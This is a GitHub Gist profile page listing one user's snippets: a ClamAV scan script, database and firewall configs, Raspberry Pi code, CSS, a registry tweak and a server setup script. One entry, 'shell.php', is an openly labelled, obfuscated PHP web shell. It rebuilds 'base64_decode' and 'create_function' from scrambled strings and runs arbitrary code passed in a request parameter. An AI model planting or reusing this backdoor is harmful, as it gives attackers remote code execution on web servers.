Skip to content

Instantly share code, notes, and snippets.

Zero Huang johnroyer

Block or report user

Report or block johnroyer

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
johnroyer /
Last active Oct 29, 2018
scan virus in whole system by clamav (clamscan) and save log by date
#!/usr/bin/env bash
DATE=`date '+%Y-%m-%d'`
# create log folder
mkdir -p $LOG_PATH
clamscan -i -r / 2>&1 | tee "$LOG_PATH/$DATE.log"
johnroyer / shell.php
Created Jul 23, 2018
PHP web shell / backdoor
View shell.php
$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();
johnroyer / percona-server-5.7.cnf
Created Dec 24, 2017
percona-server-5.7 config template
View percona-server-5.7.cnf
default-character-set = utf8mb4
user = mysql
pid-file = /var/run/mysqld/
johnroyer /
Created Dec 12, 2017
RPi + PIR sensor scan + LED output
import RPi.GPIO as GPIO
import time
GPIO.setup(3, GPIO.OUT)
# PIR sensor
johnroyer / main.css
Created Nov 16, 2017
dark-theme for "Just Read" Chrome extension
View main.css
@font-face {
font-family: 'Source Sans Pro Semibold';
src: url("chrome-extension://dgmanlpmmkibanfdgjocnabmcaclkmod/fonts/SourceSansPro-Semibold.ttf");
@font-face {
font-family: 'Source Sans Pro Bold';
src: url("chrome-extension://dgmanlpmmkibanfdgjocnabmcaclkmod/fonts/SourceSansPro-Bold.ttf");
@font-face {
font-family: 'Source Sans Pro Light';
johnroyer / pure-config.php
Created Sep 15, 2017
View pure-config.php
$valid = [
'production' => '',
'stage' => '', // 和 production 重複
'dev' => '',
johnroyer / CapLocks2Ctrl.reg
Created Jul 13, 2017
Change CapsLocks to Ctrl for windows 7/10
View CapLocks2Ctrl.reg
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout]
"Scancode Map"=hex:00,00,00,00,00,00,00,00,02,00,00,00,1d,00,3a,00,00,00,00,00
johnroyer / IPv4.php
Last active Jul 5, 2017
simple IPv4 checker (CIDR included)
View IPv4.php
class IPv4
* Check if input is a valid IPv4 address
* A valid IPv4 address is presents like ``
johnroyer / resilio-sync
Created May 5, 2017
Resilio Sync config for ufw app
View resilio-sync
title=Resilio Sync using Bittorent protocol
description=Sync data easily between devices
johnroyer /
Created May 3, 2017
vultr startup script for Ubuntu16.04 php developer
# time zone
timedatectl set-timezone Asia/Taipei
# user configure
mkdir -p /root/.ssh
You can’t perform that action at this time.